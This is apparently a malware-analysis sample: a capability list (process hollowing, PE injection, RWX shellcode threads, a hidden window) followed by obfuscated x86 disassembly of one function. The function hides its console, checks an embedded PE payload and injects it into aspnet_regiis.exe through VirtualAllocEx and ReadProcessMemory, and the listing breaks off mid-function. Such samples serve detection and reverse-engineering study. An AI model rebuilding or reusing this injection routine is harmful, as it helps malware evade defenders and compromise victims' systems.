Function at 0x10009a10
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10c
mov eax, dword [0x10085080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x114], 0xe3a21d3b
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x118], eax
sub eax, 0x8035612b
je 0x1000b573
jmp 0x10009a4c
mov eax, dword [ebp - 0x118]
sub eax, 0x825f4e0a
je 0x1000ad67
jmp 0x10009a62
mov eax, dword [ebp - 0x118]
sub eax, 0x82bb0c67
je 0x1000c30a
jmp 0x10009a78
mov eax, dword [ebp - 0x118]
sub eax, 0x865105ac
je 0x1000d2a2
jmp 0x10009a8e
mov eax, dword [ebp - 0x118]
sub eax, 0x8707205f
je 0x1000bfc8
jmp 0x10009aa4
mov eax, dword [ebp - 0x118]
sub eax, 0x870af57a
je 0x1000be29
jmp 0x10009aba
mov eax, dword [ebp - 0x118]
sub eax, 0x8b004e2f
je 0x1000ce6a
jmp 0x10009ad0
mov eax, dword [ebp - 0x118]
sub eax, 0x8b15786d
je 0x1000c89c
jmp 0x10009ae6
mov eax, dword [ebp - 0x118]
sub eax, 0x8c4b2981
je 0x1000ccdf
jmp 0x10009afc
mov eax, dword [ebp - 0x118]
sub eax, 0x8dc87290
je 0x1000c10d
jmp 0x10009b12
mov eax, dword [ebp - 0x118]
sub eax, 0x8f35928a
je 0x1000b2e6
jmp 0x10009b28
mov eax, dword [ebp - 0x118]
sub eax, 0x91955c4a
je 0x1000d16f
jmp 0x10009b3e
mov eax, dword [ebp - 0x118]
sub eax, 0x91e5e29e
je 0x1000ba47
jmp 0x10009b54
mov eax, dword [ebp - 0x118]
sub eax, 0x92ddc502
je 0x1000cd96
jmp 0x10009b6a
mov eax, dword [ebp - 0x118]
sub eax, 0x937f5529
je 0x1000bae7
jmp 0x10009b80
mov eax, dword [ebp - 0x118]
sub eax, 0x93eae2ca
je 0x1000d021
jmp 0x10009b96
mov eax, dword [ebp - 0x118]
sub eax, 0x940c2b81
je 0x1000c0a9
jmp 0x10009bac
mov eax, dword [ebp - 0x118]
sub eax, 0x942cb3a1
je 0x1000ce40
jmp 0x10009bc2
mov eax, dword [ebp - 0x118]
sub eax, 0x95600c3d
je 0x1000ceee
jmp 0x10009bd8
mov eax, dword [ebp - 0x118]
sub eax, 0x97671cdd
je 0x1000ce7f
jmp 0x10009bee
mov eax, dword [ebp - 0x118]
sub eax, 0x97771878
je 0x1000b0d7
jmp 0x10009c04
mov eax, dword [ebp - 0x118]
sub eax, 0x97868536
je 0x1000d0b2
jmp 0x10009c1a
mov eax, dword [ebp - 0x118]
sub eax, 0x987b3751
je 0x1000b957
jmp 0x10009c30
mov eax, dword [ebp - 0x118]
sub eax, 0x98895e0e
je 0x1000b4ec
jmp 0x10009c46
mov eax, dword [ebp - 0x118]
sub eax, 0x98ffbcdf
je 0x1000c5f5
jmp 0x10009c5c
mov eax, dword [ebp - 0x118]
sub eax, 0x9ccb1a36
je 0x1000caee
jmp 0x10009c72
mov eax, dword [ebp - 0x118]
sub eax, 0x9d726da0
je 0x1000bd7a
jmp 0x10009c88
mov eax, dword [ebp - 0x118]
sub eax, 0x9e72f595
je 0x1000aec7
jmp 0x10009c9e
mov eax, dword [ebp - 0x118]
sub eax, 0x9ec0b6db
je 0x1000aed6
jmp 0x10009cb4
mov eax, dword [ebp - 0x118]
sub eax, 0x9eca8174
je 0x1000cc09
jmp 0x10009cca
mov eax, dword [ebp - 0x118]
sub eax, 0xa0b265c9
je 0x1000c6e7
jmp 0x10009ce0
mov eax, dword [ebp - 0x118]
sub eax, 0xa19f5487
je 0x1000ab2d
jmp 0x10009cf6
mov eax, dword [ebp - 0x118]
sub eax, 0xa8d8b313
je 0x1000aaf7
jmp 0x10009d0c
mov eax, dword [ebp - 0x118]
sub eax, 0xac5dad68
je 0x1000d13c
jmp 0x10009d22
mov eax, dword [ebp - 0x118]
sub eax, 0xb2441483
je 0x1000af1f
jmp 0x10009d38
mov eax, dword [ebp - 0x118]
sub eax, 0xb359b934
je 0x1000b71e
jmp 0x10009d4e
mov eax, dword [ebp - 0x118]
sub eax, 0xbe99e060
je 0x1000c599
jmp 0x10009d64
mov eax, dword [ebp - 0x118]
sub eax, 0xc22ce665
je 0x1000c4d3
jmp 0x10009d7a
mov eax, dword [ebp - 0x118]
sub eax, 0xc380ca75
je 0x1000bbb5
jmp 0x10009d90
mov eax, dword [ebp - 0x118]
sub eax, 0xc3ed1516
je 0x1000c906
jmp 0x10009da6
mov eax, dword [ebp - 0x118]
sub eax, 0xc411af6a
je 0x1000c4e2
jmp 0x10009dbc
mov eax, dword [ebp - 0x118]
sub eax, 0xc4fa3a12
je 0x1000c1c9
jmp 0x10009dd2
mov eax, dword [ebp - 0x118]
sub eax, 0xc6470041
je 0x1000c7b0
jmp 0x10009de8
mov eax, dword [ebp - 0x118]
sub eax, 0xc7216a4c
je 0x1000aae8
jmp 0x10009dfe
mov eax, dword [ebp - 0x118]
sub eax, 0xc7c8ac28
je 0x1000ce05
jmp 0x10009e14
mov eax, dword [ebp - 0x118]
sub eax, 0xccc935ae
je 0x1000bbd5
jmp 0x10009e2a
mov eax, dword [ebp - 0x118]
sub eax, 0xccd5e461
je 0x1000aba3
jmp 0x10009e40
mov eax, dword [ebp - 0x118]
sub eax, 0xcfef5b70
je 0x1000c45d
jmp 0x10009e56
mov eax, dword [ebp - 0x118]
sub eax, 0xd0cde28c
je 0x1000b134
jmp 0x10009e6c
mov eax, dword [ebp - 0x118]
sub eax, 0xd1c69303
je 0x1000cfec
jmp 0x10009e82
mov eax, dword [ebp - 0x118]
sub eax, 0xd33e6a19
je 0x1000d15a
jmp 0x10009e98
mov eax, dword [ebp - 0x118]
sub eax, 0xd61c84d1
je 0x1000aa00
jmp 0x10009eae
mov eax, dword [ebp - 0x118]
sub eax, 0xd6f4faba
je 0x1000ca56
jmp 0x10009ec4
mov eax, dword [ebp - 0x118]
sub eax, 0xd7192a0c
je 0x1000bd2a
jmp 0x10009eda
mov eax, dword [ebp - 0x118]
sub eax, 0xddbacff5
je 0x1000b065
jmp 0x10009ef0
mov eax, dword [ebp - 0x118]
sub eax, 0xde3b7843
je 0x1000ac15
jmp 0x10009f06
mov eax, dword [ebp - 0x118]
sub eax, 0xdf3b759a
je 0x1000b1e6
jmp 0x10009f1c
mov eax, dword [ebp - 0x118]
sub eax, 0xe2206f5c
je 0x1000d0c7
jmp 0x10009f32
mov eax, dword [ebp - 0x118]
sub eax, 0xe3a21d3b
je 0x1000a78d
jmp 0x10009f48
mov eax, dword [ebp - 0x118]
sub eax, 0xe3faafe5
je 0x1000bac1
jmp 0x10009f5e
mov eax, dword [ebp - 0x118]
sub eax, 0xe815080c
je 0x1000b086
jmp 0x10009f74
mov eax, dword [ebp - 0x118]
sub eax, 0xe82c9955
je 0x1000a839
jmp 0x10009f8a
mov eax, dword [ebp - 0x118]
sub eax, 0xe8a5e231
je 0x1000c523
jmp 0x10009fa0
mov eax, dword [ebp - 0x118]
sub eax, 0xe905e104
je 0x1000aeaa
jmp 0x10009fb6
mov eax, dword [ebp - 0x118]
sub eax, 0xe9212d77
je 0x1000c88d
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x100], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x114], 0x5b206dd2
jmp 0x1000d2ac
push eax
sub esp, 0x18
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10007260
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10007260
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x58000
call fcn.10007090
add esp, 8
lea eax, section..data
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x110]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xa1], al
mov ecx, dword [0x10086544]
mov eax, dword [0x10086540]
mov edx, ecx
add edx, 0xf57e83c9
sub edx, 1
sub edx, 0xf57e83c9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x44ab0a57
mov ecx, 0x3d4d78d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov ecx, dword [0x10086544]
mov eax, dword [0x10086540]
mov edx, ecx
sub edx, 0xb6546595
sub edx, 1
add edx, 0xb6546595
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7078b342
mov ecx, 0x7f5fd047
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0xa8d8b313
jmp 0x1000d2ac
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0x99], al
mov dword [ebp - 0x114], 0xa19f5487
jmp 0x1000d2ac
mov ecx, dword [0x10086544]
mov eax, dword [0x10086540]
mov edx, ecx
add edx, 0x966e0164
sub edx, 1
sub edx, 0x966e0164
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7e868fda
mov ecx, 0xccd5e461
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [0x10086544]
mov ecx, dword [0x10086540]
mov edx, eax
sub edx, 0x4174bccf
sub edx, 1
add edx, 0x4174bccf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7e868fda
mov ecx, 0xfd378531
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x79cc7af0
jmp 0x1000d2ac
mov ecx, dword [0x10086544]
mov eax, dword [0x10086540]
mov edx, ecx
add edx, 0x3166b034
sub edx, 1
sub edx, 0x3166b034
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc7c8ac28
mov ecx, 0x6c78a1cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [ebp - 0xf4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x9e72f595
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0x9ec0b6db
jmp 0x1000d2ac
mov eax, dword [0x10086544]
mov ecx, dword [0x10086540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x942cb3a1
mov ecx, 0xb2441483
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov ecx, dword [0x10086544]
mov eax, dword [0x10086540]
mov edx, ecx
add edx, 0x76e3df46
sub edx, 1
sub edx, 0x76e3df46
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x942cb3a1
mov ecx, 0x6e37d06f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov edx, dword [ebp - 0x8c]
mov eax, 0x9ccb1a36
mov ecx, 0xe815080c
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [0x10086544]
mov ecx, dword [0x10086540]
mov edx, eax
sub edx, 0x579e18ca
sub edx, 1
add edx, 0x579e18ca
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b23ec57
mov ecx, 0x97771878
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x88], eax
mov eax, dword [0x10086544]
mov ecx, dword [0x10086540]
mov edx, eax
sub edx, 0x2ee4e115
sub edx, 1
add edx, 0x2ee4e115
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b23ec57
mov ecx, 0xd0cde28c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0xf4668149
jmp 0x1000d2ac
mov eax, dword [0x10086544]
mov ecx, dword [0x10086540]
mov edx, eax
sub edx, 0xed0712b7
sub edx, 1
add edx, 0xed0712b7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8b004e2f
mov ecx, 0x1c073489
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [ebp - 0x84]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [0x10086544]
mov ecx, dword [0x10086540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x97671cdd
mov ecx, 0x230a46f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x7c], eax
mov ecx, dword [0x10086544]
mov eax, dword [0x10086540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf2985d59
mov ecx, 0x8035612b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0x18fa9fb0
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0x5d4e4450
jmp 0x1000d2ac
mov dl, byte [ebp - 0x65]
mov eax, 0xf79a2252
mov ecx, 0x239226a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x64]
mov dword [eax], ecx
mov eax, dword [0x10086544]
mov ecx, dword [0x10086540]
mov edx, eax
add edx, 0xe0cd5c0c
sub edx, 1
sub edx, 0xe0cd5c0c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x34aac88b
mov ecx, 0x2dc389cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x937f5529
jmp 0x1000d2ac
mov eax, dword [0x10086544]
mov ecx, dword [0x10086540]
mov edx, eax
sub edx, 0x70057a5f
sub edx, 1
add edx, 0x70057a5f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x93eae2ca
mov ecx, 0x220c3a44
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [ebp - 0xe8]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x5d], al
mov dword [ebp - 0x114], 0xccc935ae
jmp 0x1000d2ac
mov ecx, dword [0x10086544]
mov eax, dword [0x10086540]
mov edx, ecx
add edx, 0xf59060a0
sub edx, 1
sub edx, 0xf59060a0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x60b536d
mov ecx, 0x5442a6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0x7e5a43e8
jmp 0x1000d2ac
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
add ecx, 0x23685dcb
add ecx, 8
sub ecx, 0x23685dcb
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x114], 0x24e49d1f
jmp 0x1000d2ac
mov eax, dword [ebp - 0x50]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0x6b9693fb
sub ecx, eax
add ecx, 0x6b9693fb
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0
mov eax, dword [0x10086544]
mov ecx, dword [0x10086540]
mov edx, eax
add edx, 0xfafa71cc
sub edx, 1
sub edx, 0xfafa71cc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x60f37769
mov ecx, 0x4328595f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [0x10086544]
mov ecx, dword [0x10086540]
mov edx, eax
sub edx, 0xff401e9c
sub edx, 1
add edx, 0xff401e9c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2418b80d
mov ecx, 0x2c84ff72
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x100]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x6fc3db5a
mov ecx, 0x8dc87290
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [0x10086544]
mov ecx, dword [0x10086540]
mov edx, eax
sub edx, 0x69fc9c09
sub edx, 1
add edx, 0x69fc9c09
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x97868536
mov ecx, 0x20de8b55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov ecx, dword [0x10086544]
mov eax, dword [0x10086540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe2206f5c
mov ecx, 0x4b206038
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0x6fc3db5a
jmp 0x1000d2ac
mov ecx, dword [0x10086544]
mov eax, dword [0x10086540]
mov edx, ecx
add edx, 0x1fc5a7eb
sub edx, 1
sub edx, 0x1fc5a7eb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x467d5372
mov ecx, 0xc22ce665
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0xc411af6a
jmp 0x1000d2ac
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
add eax, 0x3097628d
add eax, 1
sub eax, 0x3097628d
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x114], 0xfe78dd5c
jmp 0x1000d2ac
mov ecx, dword [0x10086544]
mov eax, dword [0x10086540]
mov edx, ecx
add edx, 0xf78ca49d
sub edx, 1
sub edx, 0xf78ca49d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd33e6a19
mov ecx, 0xbe99e060
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [0x10086544]
mov ecx, dword [0x10086540]
mov edx, eax
add edx, 0xd9159ad3
sub edx, 1
sub edx, 0xd9159ad3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd33e6a19
mov ecx, 0x98ffbcdf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0x51703576
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0x7e5a43e8
jmp 0x1000d2ac
mov ecx, dword [0x10086544]
mov eax, dword [0x10086540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfb57cd64
mov ecx, 0xf83f4218
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x21], al
mov dword [ebp - 0x114], 0x3eca3d35
jmp 0x1000d2ac
mov eax, dword [0x10086544]
mov ecx, dword [0x10086540]
mov edx, eax
sub edx, 0xc6b8f384
sub edx, 1
add edx, 0xc6b8f384
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2bcab87f
mov ecx, 0x33f6258a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0x5aa1709c
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0x44e47be2
jmp 0x1000d2ac
mov dword [ebp - 0x114], 0x55b81c1f
jmp 0x1000d2ac
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10017d60
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x100]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10018b00
add esp, 0xc
mov eax, dword [ebp - 0xfc]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10018b00
add esp, 0xc
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x114], 0xeaefb57c
jmp 0x1000d2ac
mov eax, dword [ebp - 0x98]
cmp dword [eax + 0x70], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xf8]
